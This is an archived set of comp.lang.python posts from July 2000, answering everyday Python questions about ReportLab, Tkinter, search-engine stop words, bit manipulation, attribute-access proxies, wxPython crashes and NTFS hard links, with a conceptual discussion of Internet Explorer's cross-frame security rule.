From gherman at darwin.in-berlin.de  Sun Jul  2 04:07:14 2000
From: gherman at darwin.in-berlin.de (Dinu C. Gherman)
Date: Sun, 02 Jul 2000 10:07:14 +0200
Subject: reportlab: HTML->PDF via Python?
References: <395CF8D0.6FD580B9@netscape.com>
Message-ID: <395EF832.E6F5C9CE@darwin.in-berlin.de>

Ian Oeschger wrote:
> 
> Does reportlab or some other Python module offer a facility for printing
> HTML pages to PDF?
> And if so, does some rendering engine have to intercede in this process
> somewhere? My experience so far has been getting text--rather than the
> rendered HTML--into PDF.

Well, not yet, at least from what I know about ReportLab.
The question came up there very recently. The problem is
more or less the implicit HTML layouting "behind the scenes",
like text around images, frames, and so on. It seems, though,
that a very simple HTML could be rendered rather easily into
PDF. 

Regards,

Dinu

-- 
Dinu C. Gherman
................................................................
"The only possible values [for quality] are 'excellent' and 'in-
sanely excellent', depending on whether lives are at stake or 
not. Otherwise you don't enjoy your work, you don't work well, 
and the project goes down the drain." 
                    (Kent Beck, "Extreme Programming Explained")


From johngrayson at home.com  Mon Jul 10 14:44:29 2000
From: johngrayson at home.com (John Grayson)
Date: Mon, 10 Jul 2000 18:44:29 GMT
Subject: Tkinter Option (Radio) Buttons
References: <Haoa5.50544$dF.2046832@news1.rdc1.il.home.com>
Message-ID: <8kd5i7$2b0$1@nnrp1.deja.com>

In article <Haoa5.50544$dF.2046832 at news1.rdc1.il.home.com>,
  "dsavitsk" <dsavitsk at e-coli.net> wrote:
> If i have 3 option buttons created like in Interface() below I am able
to
> use Value() to determine which button is selected,  Is there a bit of
code
> that i could add to Value() to disable certain buttons (i don't need
the
> if...elif's, just how to disable an option of my choosing.) or a
better way
> to do this.
>
> >>> def Value():
> ...    global CnType
> ...    print CnType.get()
>
> >>> def Interface():
> ...     CnType = IntVar()
> ...     CnType.set(0)
> ...     fm = Frame()
> ...     optTp = Radiobutton(fm5, text='Button 0', variable=CnType,
value=0)
> ...     optTp.grid(row=0, column=0, sticky=W)
> ...     optTp = Radiobutton(fm5, text='Button 1', variable=CnType,
value=1)
> ...     optTp.grid(row=0, column=1, sticky=W)
> ...     optTp = Radiobutton(fm5, text='Button 2', variable=CnType,
value=2)
> ...     optTp.grid(row=0, column=2, sticky=W)
> ...     fm5.pack(side=TOP)
>
> thanks
> doug
>
>

You need to store the widget ID for the radiobuttons (say in a list).
Then, you could simply index into the list to set the state
of the RadioButton...

e.g.

from Tkinter import *

def Value():
    global CnType, wList
    wList[CnType.get()].configure(state=DISABLED)

def Interface(master):
    global CnType, wList
    CnType.set(0)
    fm5 = Frame(master)
    for i in range(3):
        optTp = Radiobutton(fm5, text='Button %d' %i, variable=CnType,
                            value=i, command=Value)
        optTp.grid(row=0, column=i, sticky=W)
        wList.append(optTp)
    fm5.pack(side=TOP)


root = Tk()
CnType = IntVar()
wList  = []
global CnType, wList
Interface(root)
root.mainloop()


You can get the idea...


    John


Sent via Deja.com http://www.deja.com/
Before you buy.


From aahz at netcom.com  Sat Jul 15 10:37:57 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 15 Jul 2000 14:37:57 GMT
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net> <8kn71u02nn4@news2.newsguy.com> <8knng5$eue$1@slb3.atl.mindspring.net> <8kpavi04id@news1.newsguy.com>
Message-ID: <8kpt05$uj6$1@slb3.atl.mindspring.net>

In article <8kpavi04id at news1.newsguy.com>,
Alex Martelli <alex at magenta.com> wrote:
>"Aahz Maruch" <aahz at netcom.com> wrote in message
>news:8knng5$eue$1 at slb3.atl.mindspring.net...
>> In article <8kn71u02nn4 at news2.newsguy.com>,
>> Alex Martelli <alex at magenta.com> wrote:
>>>"Dinu C. Gherman" <gherman at darwin.in-berlin.de> wrote in message
>>>news:396EE7BC.DA2FA7B3 at darwin.in-berlin.de...
>>>>
>>>> I doubt this will be very useful, like the answer to the
>>>> question: "Which are the ten most used words in English?".
>>>
>>>That one is pretty useful, actually (it identifies the all-too-
>>>frequent words, like 'the', 'of', etc, which a full-text search
>>>engine had better just skip over:-).
>>
>> That's wrong.  How do you search for the phrase "the White House"?
>
>You get all adjacencies of 'white' and 'house', assuming your search
>tables are case-insensitive (which they should not be, for umpteen
>reasons, but that's another thread, I guess).  This only adds a modest
>number of false positives: since you were going to get references to
>"the white house at the corner of Elm and Main" anyway, it's no great
>hardship to also get any "a white house, quite pretty, with a red
>roof".

Here's a better example: "The Cat in the Hat"  With two adjacent noise
words, your false positive rate goes up.

>But meanwhile you're protecting yourself against losing many relevant
>positives due to quirks of English syntax and idiom.  "White
>House sources denied the allegations" and "The White House denied
>the allegations" are basically equivalent; "the", like all such
>syntax-marker words, tends to appear or disappear from phrases
>depending, unsurprisingly, on syntax (and idiom) issues.

Note that many people are not searching for a random document that
contains something similar to a phrase, they are searching for a
document that contains a specific phrase.  (E.g. "the tree of liberty")

>And your tables shrink usefully.  You can invest the saved space to
>provide other precious services that are often skimped on, like, guess
>what!, proper casing-flags, flags for inflection, etc.  So you can
>search for: {white constrain initial-cap} adjacent {house constrain
>initial-cap, singular} and get all "properly capitalized" references to
>the White House, with or without article.

I should note that my primary experience is with Verity, so I'm
thoroughly familiar with all these operations; I consider a search
engine inferior if it doesn't support them.  All the same, most people
seem unwilling to learn complex query languages to get the necessary
precision in their results.

>> (Trust me, this is one area I'm a real expert.)
>
>I'm out of touch with recent research in the field -- it's been over a
>decade since I did computational linguistics -- but my recent usage of
>full-text search engines, now so prevalent on the net, does not seem
>to show me any advance in the art.  Maybe there are new algorithms
>and data structures providing speed-ups on the search engine (some
>of the engines ARE remarkably fast, I will admit), but the *search
>quality* issues, which are connected with what to include in the
>tables, search-language semantics, etc, seem to be still all there
>(indeed, the search engine I find myself using most often [because it's
>so wondrously fast] is extremely poor this way -- can't even ask for
>adjacency or nearby-words, etc, etc; but "brute force wins again":-).

Yeah, one of the reasons I hate AltaVista so much is because it does a
remarkably poor job of result ranking, even by the relatively poor
standards of search engines.

However, every time I see a serious attempt to improve automated search
results, it leads directly to the mucky swamp of AI and "natural
language", with degraded search results.  I remember one search engine
that I typed something like "cat" into, and got documents back
containing "cow" because they were both animals (I don't remember the
exact example).

(Note that I've never been a particular expert on academic research.
I've always been much more interested in deployable applications.)
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
"Pop-Up Videos is not on MTV, it's on VH-1."
"'MTV' is a generic."


From honza_v at my-deja.com  Wed Jul 26 05:06:51 2000
From: honza_v at my-deja.com (honza_v at my-deja.com)
Date: Wed, 26 Jul 2000 09:06:51 GMT
Subject: binary distribution of Zope's DCOracle for Win32
References: <D148AB3A9D8FD311A99A008048C79D1123CADE@MAIL>
Message-ID: <8lm9n8$6rc$1@nnrp1.deja.com>

In article <D148AB3A9D8FD311A99A008048C79D1123CADE at MAIL>,
  "Kiss, Arpad" <AKiss at GEOMETRIA.hu> wrote:
> I have a compiled version that works with 7.3.4 clients. I can send it for
> you if it is good for you.
> Arpad
>

I made an agreement with a colegue, who knows C a he will help me to compile
it for version 8i. If you can please send it to me with your sources (esp.
makefiles), I will very appretiate it.

Thanks in advance
Jan


Sent via Deja.com http://www.deja.com/
Before you buy.


From dgoodger at bigfoot.com  Sat Jul 15 17:34:20 2000
From: dgoodger at bigfoot.com (David Goodger)
Date: Sat, 15 Jul 2000 17:34:20 -0400
Subject: Docs for __init__.py?
In-Reply-To: <YKWb5.19749$MT.506147@news-west.usenetserver.com>
References: <YKWb5.19749$MT.506147@news-west.usenetserver.com>
Message-ID: <B596511B.6313%dgoodger@bigfoot.com>

on 2000-07-15 07:03, Matthew Cline (matt at nightrealms.com) wrote:
> Specifically, does the package name have to corespond to the
> name of the directory that __init__.py is in?  Or is there
> some way for __init__.py to say "No, *this* is the name for the
> package?"

The directory name *is* the package name, just as the file name (less the
.py) is the module name. Otherwise, how would Python know what file to read
when importing a module, or what directory to access when importing a
package?

See Guido's essay at http://www.python.org/doc/essays/packages.html for a
more in-depth explanation.

-- 
David Goodger    dgoodger at bigfoot.com    Open-source projects:
 - The Go Tools Project: http://gotools.sourceforge.net
 (more to come!)



From cg at schlund.de  Fri Jul 28 10:35:40 2000
From: cg at schlund.de (Carsten Gaebler)
Date: Fri, 28 Jul 2000 16:35:40 +0200
Subject: Is this the efficent way?
References: <EDgg5.19705$ga2.540769@newsread2.prod.itd.earthlink.net>
Message-ID: <39819A3C.3634867B@schlund.de>

"Arint?" wrote:
> 
> I need to split a double (8) byte character into two bytes to send as a
> string so I have this code
> def hexSplit(arg):
>  ans = 0
>  lobyte =arg-256
>  if arg<=255:
>   ans = "\x00" + chr(arg)
>  else:
>   hibyte = lobyte/256
>   if (lobyte%256)>0:
>    hibyte = hibyte+1
>   ans = chr(hibyte)+chr(lobyte)
>  return ans
> 
> Is this good enough?

I think this is better:

def hexsplit(arg):
        lobyte =  arg & 0x00FF
        hibyte = (arg & 0xFF00) >> 8
        return chr(hibyte) + chr(lobyte)


Carsten.


From alexandre.ferrieux at rd.francetelecom.fr  Tue Jul  4 08:44:34 2000
From: alexandre.ferrieux at rd.francetelecom.fr (Alexandre Ferrieux)
Date: Tue, 04 Jul 2000 14:44:34 +0200
Subject: Cross-frame 'security' (Internet Explorer and Python/COM)
References: <Pine.GSO.4.10.10007022217420.19085-100000@sundial> <u$mxTiH5$GA.254@cpmsnbbsa07>
Message-ID: <3961DC32.2344@rd.francetelecom.fr>

Roger Upole wrote:
> 
> Here's a small sample of how to navigate to a URL.
> >>> import win32com.client
> >>> x=win32com.client.Dispatch('InternetExplorer.Application.1')
> >>> x.Visible=1
> >>> x.Navigate('http://www.python.org')

I've been doing something similar in some other scripting language
(replace Python/win32com by Tcl/Optcl), and it worked quite well,
however I've run into a show-stopper, and I would like to gather
insights:

The so-called cross-frame security issue.

Once you've created the automation object x above, you can to some
extent
walk down the document tree. The problem is, if the page contains a
frame
which is hosted in some other 'domain' (the last two items in the DNS
name),
you simply can't access that subtree, even in read-only mode.

In my case it was nasty because the sole purpose of the whole stuff was
to reuse IE's parsing machinery to extract only text from the page -- 
a poor man's Lynx in a maximum-reuse context if you prefer.

I've seen some explanations on the MS site (security bulletin and so
on).
The beginning of the story was the possibility for malevolent
client-side
code to insert its own text input box right on top of the one from a
securized credit card number input dialog. This, sure enough, was a
critical
security hole. However, the counter attack doesn't make sense to me: why
bar
access to extradomain frames, even readonly, while the real issue was to
prevent
only *write* access (or visual overlay) of other frames ?

Please please somebody enlighten me !

TIA,

-Alex


From pauljolly at my-deja.com  Mon Jul 31 05:50:58 2000
From: pauljolly at my-deja.com (pauljolly at my-deja.com)
Date: Mon, 31 Jul 2000 09:50:58 GMT
Subject: Extracting search criteria using re
References: <8m3ee5$fh5$1@nnrp1.deja.com>
Message-ID: <8m3i61$hsm$1@nnrp1.deja.com>

Sorry, I have found the answer to my question. I now use the findall()
function to extract the data. Sorry to trouble you all (but my other
question is still valid!!)

Paul Jolly

In article <8m3ee5$fh5$1 at nnrp1.deja.com>,
  pauljolly at my-deja.com wrote:
> Dear All,
>
> I am using the re module to search for a particular string in an html
> file (not within the tags but within the page material). This question
> is more about regular expression technique more that anything.
>
> I have read the manual on regular expression but cannot seem to find
> anything that answers my question: when using the
> (recompiledobject).split() method, I want to return a list of all the
> occurences of my search criteria and not what remains when my search
> criteria is stripped from the string. For example, searching using the
> following search string: \d?\d\s*'&deg;' in the following:
>
> "This is an example of two temperatures 56 &deg; F and 36 &deg; F."
>
> Applying the split function on the above, I would want to return as a
> list ('56 &deg;', '36 &deg;'). I am sure this is possible but cannot
> for the life of me find the answer. Any help much appreciated.
>
> Regards,
>
> Paul Jolly
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From hzhu at localhost.localdomain  Sun Jul 30 22:10:21 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 31 Jul 2000 02:10:21 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <slrn8o75m6.fjt.grey@teleute.rpglink.com>
Message-ID: <slrn8o9o7s.sv.hzhu@localhost.localdomain>

On Sun, 30 Jul 2000 02:47:39 GMT, Steve Lamb <grey at despair.rpglink.com> wrote:
>
>    Whoops, exited too fast.  When I started programming it was in Turbo
>Pascal 3.  I had the absolutely WORST time with that language at that time
>because of typing because I couldn't just do what I thought was logical.
>Furthermore the casting also didn't work in any manner that I thought logical,
>either.  I hit the same problem in C.  I really, REALLY despised being told
>that what I wanted to wasn't possible when I knew darn well it /was/.

There are different categories of typing.  There are strong (no automatic
conversion) and weak typing.  There are static (declared when variables are
created) and dynamic typing.  Python is strongly and dynamically typed.

Strongly and statically typed languages do have the problems you pointed out
- they are too brittle.  But the fault is more at the "static" part than the
"strong" part, at least as most people here would say.  Perl is sort of the
other extreme that is both weakly and dynamically typed - it feels too
anarchical (sorry I can't find the proper word).

There's no way one can escape type (or class) if one wants both 1+1==2 and
'1'+'1'=='11' in a language.  So far (at least) three mechanisms have been
described in this thread:

- associate type with names (variables), like C
- associate type with operators and context, like Perl
- associate type with objects (data), like Python.

If you try some real world examples, you might discover that the Python way
is better than the other two in many cases.  I've tried all three and this
is my feeling for the majority of cases.

Huaiyu

PS.  Ironically, in the area I'm mostly interested in at the moment, the
distiction between matrixwise and elementwise operations, I find that
association with operators is much better than association with data.  But
this is another (long) story.


From paul at prescod.net  Mon Jul 17 19:18:59 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 18:18:59 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  
 matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735D6E.8E3349D9@roguewave.com> <39736688.E19DD546@eecis.udel.edu>
Message-ID: <39739463.2DD0651D@prescod.net>

Charles Boncelet wrote:
> 
> ...
> 
> This I must object to.  Linear algebra often involves big objects.
> These operations want to call a carefully written C function.  Any
> time you use Python to loop over matrix objects, you are dead in
> a big problem.  As far as I understand (and I could be wrong)
> neither list comprehensions nor the elementwise approach would be
> able to call the underlying C functions without python loops.

You are wrong about the .Element or .Element() approach. It is just a
syntactic approach, not a new computational model. .Element returns an
object that knows to use element-wise multiplication instead of
matrix-wise multiplcation. I thought it was a pretty elegant,
lightweight solution.
-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From thomas at cintra.no  Fri Jul 21 05:07:39 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Fri, 21 Jul 2000 09:07:39 GMT
Subject: Intercept methods/raise exception
References: <3978f242.25036009@news.online.no> <8F77C5E93gmcmhypernetcom@199.171.54.155>
Message-ID: <397912ac.71497477@news.online.no>

On 20 Jul 2000 23:55:14 GMT, gmcm at hypernet.com (Gordon McMillan)
wrote:

>Thomas Weholt wrote:
>
>>Is there a way to define a method in a class that is called each time
>>every other method is called in that class, and based on a attribute,
>>raise an exception or let the method-class go thru?
>
>Not with a method. Use a proxy:
>
>class Proxy:
>  def __init__(self, obj):
>    self.__dict__['_obj'] = obj # avoid the __setattr__ hook
>  def __getattr__(self, nm):
>    attr = getattr(self._obj, nm, None)
>    if attr:
>      # do what you like
>      return attr
>    raise AttributeError, "%s not found" % nm  	# vital 
>  def __setattr__(self, nm, val):
>    # do what you like and maybe
>    setattr(self._obj, nm, val)
>
>Now just wrap your object in the proxy.
>
>-Gordon


Ok, it seems to work, allthough only if I access methods. Accessing
simple values like ints and strings directly only traps that value,
not the attribute name. 

class foo:
	def __init__(self):
		self.poofoo = 2
	def foobar(self):
		return 1

a = foo()
x = Proxy(a)
x.foobar()

will trap foobar as the attr. 

x.poofoo
will only trap the value stored in that attribute.

How can I trap the attribute *name* too?

And, most importantly, how can I make my objects behave like the ones
used thru a proxy, *without* putting them into one? is it possible? I
mean, I just want to avoid have to declare one instance, and then
stuff it into another new instance. Can it be done in one big swoop?

Anyway, where can I read up on stuff like this? Proxy, nifty object
handling. Any hints?

Thanks for any help so far. It helped me alot.

Thomas



From peter at schneider-kamp.de  Sun Jul 23 04:02:45 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Sun, 23 Jul 2000 08:02:45 +0000
Subject: bit manipulation frustration
References: <397A6980.CF15DB96@san.rr.com> <B59FEFA3.6877%dgoodger@bigfoot.com> <397A7BB5.A6024F70@san.rr.com>
Message-ID: <397AA6A5.13A72018@schneider-kamp.de>

Courageous wrote:
> 
> Say for example I want to increase or decrease R,
> G, or B values. Or, say, I want to convert to 32
> bit color bitmaps?

Oh yes:

>>> def from16to32(v):
...   i = (ord(v[1]) << 8) + ord(v[0])
...   return chr(i >> 11)+chr((i >> 5) & 63)+chr(i & 31)+'\000'
...

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From glandrum at my-deja.com  Wed Jul 19 21:19:23 2000
From: glandrum at my-deja.com (Greg Landrum)
Date: Thu, 20 Jul 2000 01:19:23 GMT
Subject: Python-ese for indexing a list within a class
References: <8l4v6k$rd4$1@news.rchland.ibm.com>
Message-ID: <8l5k2g$lcr$1@nnrp1.deja.com>

In article <8l4v6k$rd4$1 at news.rchland.ibm.com>,
  "Larry Whitley" <ldw at us.ibm.com> wrote:
> Is the following the appropriate Python-ese for indexing a list
within a
> class?
>
> # the following is defined outside of either class or function
> nCounters = 4
> a,b,c,d = range(nCounters)
>
> # now define the class
> class C:
>     def __init__(self):
>         cnt = [0] * nCounters
>     def someFunction(self):
>         # some code
>         self.cnt[a] = self.cnt[a] + 1 # <<< here's the statement in
question
>         # some more code
>
> I'm trying to avoid the considerably ugly:
>
> self.cnt[self.a] = self.cnt[self.a] + 1
>
> The code seems to work ok but is this the right/best/prettiest/(etc)
way to
> go about it?
>

How about something like this:
class C:
    def __init__(self,nCounters):
        self.cnt = [0] * nCounters
    def __getitem__(self,which):
        return self.cnt[which]
    def __setitem__(self,which,val):
        self.cnt[which] = val

This would then be used like:

foo = C(4)
print foo.cnt
foo[1] = foo[1] + 1
print foo.cnt

If you want to get a bit fancier, you could even do:

class C2:
    def __init__(self,nCounters):
        self.cnt = [0] * nCounters
    def __getitem__(self,which):
        return self.cnt[which]
    def __setitem__(self,which,val):
        self.cnt[which] = val
    def __len__(self):
        return len(self.cnt)
    def __getslice__(self,start,stop):
        return self.cnt[start:stop]

And use it like this:

foo = C2(4)
print foo[:]
foo[1] = foo[1] + 1
print foo[:]

I hope this helps,
-greg



Sent via Deja.com http://www.deja.com/
Before you buy.


From peter at schneider-kamp.de  Wed Jul 19 12:15:10 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Wed, 19 Jul 2000 16:15:10 +0000
Subject: a more comprehensive distribution?
References: <8l4act$loo$1@news.kth.se>
Message-ID: <3975D40E.E478EF44@schneider-kamp.de>

Oivvio Polite wrote:
> 
> I've been working with python for a couple of months now.
> My only real annoyce is the constant need to locate and install python
> modules.

Hopefully distutil will make the installation part easier in the future.

> I'd like to get my hands on a distribution that includes a lot more then the
> standard library, somthing that comes with Numpy, ScientificPython, mxODBC,
> mxDateTime, a lot of other stuff I don't know about yet.

Such a "batteries included" version is considered for Python 2.0. In
some days there will be a discussion of this here on comp.lang.python.

You can already take a look at the current plans in PEP 206
(Python Enhancement Proposal #6 for 2.0).

You can browse the PEPs via the CVS web interface (or in you
own CVS version, if you check out one):
http://cvs.sourceforge.net/cgi-bin/cvsweb.cgi/python/nondist/peps/?cvsroot=python

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From fiona at sitegnome.com  Sun Jul  9 21:52:10 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Mon, 10 Jul 2000 11:52:10 +1000
Subject: Python book suggestions?
References: <MPG.13d2b74a5f5c63ea98981c@news.onlynews.com>
Message-ID: <39692C4A.AB8EE52D@sitegnome.com>

Hi Randall,

Have a look here ->

I'm new to Python and would appreciate advice on what book(s) I should
be looking at?
http://www.faqts.com/knowledge-base/view.phtml/aid/2795/fid/199/lang/en

Also, there were a couple of threads on this topic recently one "Books"
original post on 27.06.00 that might be useful.

HTH,

Fiona


Randall Parker wrote:
> 
> I would like to learn Python because people I respect think highly of it.
> I have backgroun in C++, Java, and assorted other languages. I intend to
> use Python to do web site development.
> 
> Does anyone have any suggestions as to which books are good for learning
> the Python language?
> 
> How about a book about Python and XML?
> 
> How about a book about Python for web site development?
> 
> I'm thinking of starting with the v1.6 version that I see from an article
> has a number of language changes over previous versions. Are any books
> due out imminently that will cover this newer version?

-- 

Site Gnome - site maintenance, documentation and proof reading

http://www.sitegnome.com


From paul at prescod.net  Sat Jul  1 20:17:56 2000
From: paul at prescod.net (Paul Prescod)
Date: Sat, 01 Jul 2000 19:17:56 -0500
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <Esm75.3448$Tb7.23118@news-server.bigpond.net.au> <033401bfe3c0$d7158140$6401a8c0@home>
Message-ID: <395E8A34.FE17D610@prescod.net>

Darrell Gallion wrote:
> 
> From: "Mark Hammond" <MarkH at ActiveState.com>
> > Just to stoke the flames a little...
> >
> > Check out some of the talks at the upcoming PDC -
> > http://www.pdc.mscorpevents.com/sessions.asp?tracks=6 - look for Python
> 
> Ok my flames are stoked.
> What do they mean "Visual Python"???
> Could this be a good thing?

http://www.activestate.com/Products/VisualPython.html

-- 
 Paul Prescod - Not encumbered by corporate consensus
The calculus and the rich body of mathematical analysis to which it 
gave rise made modern science possible, but it was the algorithm that 
made the modern world possible.
	- The Advent of the Algorithm (pending), by David Berlinski



From europax at home.com  Sun Jul 16 21:52:14 2000
From: europax at home.com (Rob)
Date: Mon, 17 Jul 2000 01:52:14 GMT
Subject: problems trying wxPython in Win 95
Message-ID: <iFtc5.19052$V34.236887@news1.sttls1.wa.home.com>

I want to run the demo program included in wxPython 2.1.  Upon starting it I
immediately get the message appended to this post.  I have two versions of
Python installed-  1.5.2 and 1.6a2.  I tried the demo from both of them and
get the same result.  I tried running it from the console, from PythonWin,
and from IDLE, all with negative results.  Does anyone have an idea of what
is going on?

Thanks,  Rob.

PYTHONWIN caused an exception c06d007eH in module KERNEL32.DLL at
0137:bff9a07c.
Registers:
EAX=0063d7bc CS=0137 EIP=bff9a07c EFLGS=00000246
EBX=00000000 SS=013f ESP=0063d7b8 EBP=0063d80c
ECX=0063d7d4 DS=013f ESI=0063d864 FS=2287
EDX=ffffffff ES=013f EDI=00000000 GS=0000
Bytes at CS:EIP:
5e 8b e5 5d c2 10 00 64 a1 00 00 00 00 55 8b ec
Stack dump:
018a9c34 c06d007e 00000000 00000000 bff9a07c 00000001 0063d830 bff782c7
817f9000 81821708 00081822 00000000 0063d6e3 00000000 bff7c4f7 0188e4d0




From stephen at cerebralmaelstrom.com  Fri Jul  7 21:54:57 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Sat, 08 Jul 2000 01:54:57 GMT
Subject: Splitting c.l.py...
References: <LNBBLJKPBEHFEDALKOLCMEJPGIAA.tim_one@email.msn.com> <0007071815170C.03526@quadra.teleo.net>
Message-ID: <RRv95.118257$WS3.1038302@typhoon.we.rr.com>

Okay, I've noticed people mentioning 'eff-bot' for awhile now.. and
I have one question.

What the heck is the eff-bot?! :)

--Stephen
Patrick Phalen <python-list at teleo.net> wrote in message
news:0007071815170C.03526 at quadra.teleo.net...
> [Tim Peters, on Fri, 07 Jul 2000]
> :: Can't speak for me mates at Luxurious PythonLabs World
> :: Headquarters, but I'd like to apologize for my own lack of
participation on
> :: c.l.py over the past several months!
> <snip>
> :: When things settle down, at least I intend to resume harassing c.l.py.
And
> :: there's already a great deal of development discussion on Python-Dev
that
> :: *should* be on c.l.py.
>
>
> Thanks for expressing this, Tim. You've been missed. Then, to compound
> matters, I read the following Advogato diary entry from the effbot the
> other day and truly began to wonder if the good old days were gone:
>
> """
> 5 Jun 2000
>
>                 Just noticed that the Python version of the eff-bot has
been online for five years (give or take a few days).
>
>                 To celebrate this anniversary, I've decided to shut down
the comp.lang.python newsgroup eff-bot!
>
>                 (Frankly, it's been a while since c.l.py was the most
interesting place in Pythonia, and it's no longer the endless
>                 source of positive energy it once was.)
>
>                 But to avoid offending anyone (or everyone ;-), lets just
say that five years is a very long time on the net. It's
>                 time to find other channels for the eff-bot.
>
>                 Onwards!
> """
>




From neilh at scintilla.org  Sat Jul 15 20:31:19 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sun, 16 Jul 2000 00:31:19 GMT
Subject: something like os.link() for NTFS?
References: <8kqr83$qm9$1@agate.berkeley.edu>
Message-ID: <rn7c5.2568$4p3.19620@news-server.bigpond.net.au>

> Hard links exist under NTFS.  Does anyone know of a Python function for NT
> under NTFS that does what os.link() does under UNIX?  If not, is there a
> technical reason why it isn't a good idea?

   While hard links exist on NTFS, they are only creatable by Win32
applications on Windows 2000. The CreateHardLink(newName, oldName,
securityJunk) function is the API to use. Earler versions of NT did not
support this function but did allow POSIX applications to create hard links.
So you could have Windows 2000 specific code or solve this by creating a
small POSIX subsystem utility and execute that with os.system or similar.

   Looks like CreateHardLink is not yet in the Win32 extensions.

   Neil




From mcmurtriek at worldnet.att.net  Tue Jul 18 20:07:34 2000
From: mcmurtriek at worldnet.att.net (Kenneth McMurtrie, Jr.)
Date: Wed, 19 Jul 2000 00:07:34 GMT
Subject: Newbies trying to do a build script
References: <8l1o61$n45$1@nnrp1.deja.com> <k56d5.2080$mL5.81696@news-west.usenetserver.com>
Message-ID: <aj6d5.5747$iP.616451@bgtnsc05-news.ops.worldnet.att.net>

"Matthew Cline" <matt at nightrealms.com> wrote in message
news:k56d5.2080$mL5.81696 at news-west.usenetserver.com...
> In article <8l1o61$n45$1 at nnrp1.deja.com>, John Urberg
> <jurberg at my-deja.com> wrote:
>
...
> If you're working on Windows...  Hrm, has anyone ported autocnof and
> automake to Windows?

Both autoconf and automake are available under cygwin on Windows at
http://cygutils.netpedia.net/V1.1/index.html




From sami.hangaslammi.spam.trap at yomimedia.fi  Thu Jul 20 05:08:13 2000
From: sami.hangaslammi.spam.trap at yomimedia.fi (Sami Hangaslammi)
Date: Thu, 20 Jul 2000 12:08:13 +0300
Subject: BUG: File modes under IRIX
Message-ID: <8l6fjk$19r9$1@learnet.freenet.hut.fi>

Python version: Python 1.5.2 (#2, Mar 22 2000, 10:10:50)  [GCC 2.8.1] on
irix646

When using os.makedirs('foo/bar',0755) (or os.mkdir) the mode of the created
directories is incorrectly set as rwx------.

Is this a known problem or am I just doing something wrong (I'm terribly
unexperienced when it comes to *x systems)?






From aahz at netcom.com  Fri Jul 14 14:51:49 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 14 Jul 2000 18:51:49 GMT
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net> <396EE7BC.DA2FA7B3@darwin.in-berlin.de> <8kn71u02nn4@news2.newsguy.com>
Message-ID: <8knng5$eue$1@slb3.atl.mindspring.net>

In article <8kn71u02nn4 at news2.newsguy.com>,
Alex Martelli <alex at magenta.com> wrote:
>"Dinu C. Gherman" <gherman at darwin.in-berlin.de> wrote in message
>news:396EE7BC.DA2FA7B3 at darwin.in-berlin.de...
>>
>> I doubt this will be very useful, like the answer to the
>> question: "Which are the ten most used words in English?".
>
>That one is pretty useful, actually (it identifies the all-too-
>frequent words, like 'the', 'of', etc, which a full-text search
>engine had better just skip over:-).

That's wrong.  How do you search for the phrase "the White House"?

(Trust me, this is one area I'm a real expert.)
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
"Pop-Up Videos is not on MTV, it's on VH-1."
"'MTV' is a generic."


From brunnsNObrSPAM at beer.com.invalid  Wed Jul  5 09:36:27 2000
From: brunnsNObrSPAM at beer.com.invalid (Simon B)
Date: Wed, 05 Jul 2000 06:36:27 -0700
Subject: Hi, my name is not Mrs so-called Gumblenose
References: <395B2B88.CC3041C1@memo.volvo.se>
Message-ID: <1c934748.cd75dee0@usw-ex0106-045.remarq.com>

I've not heard of any way of getting at DB2/400 from Python
other than via ODBC. But I'd love to be wrong!

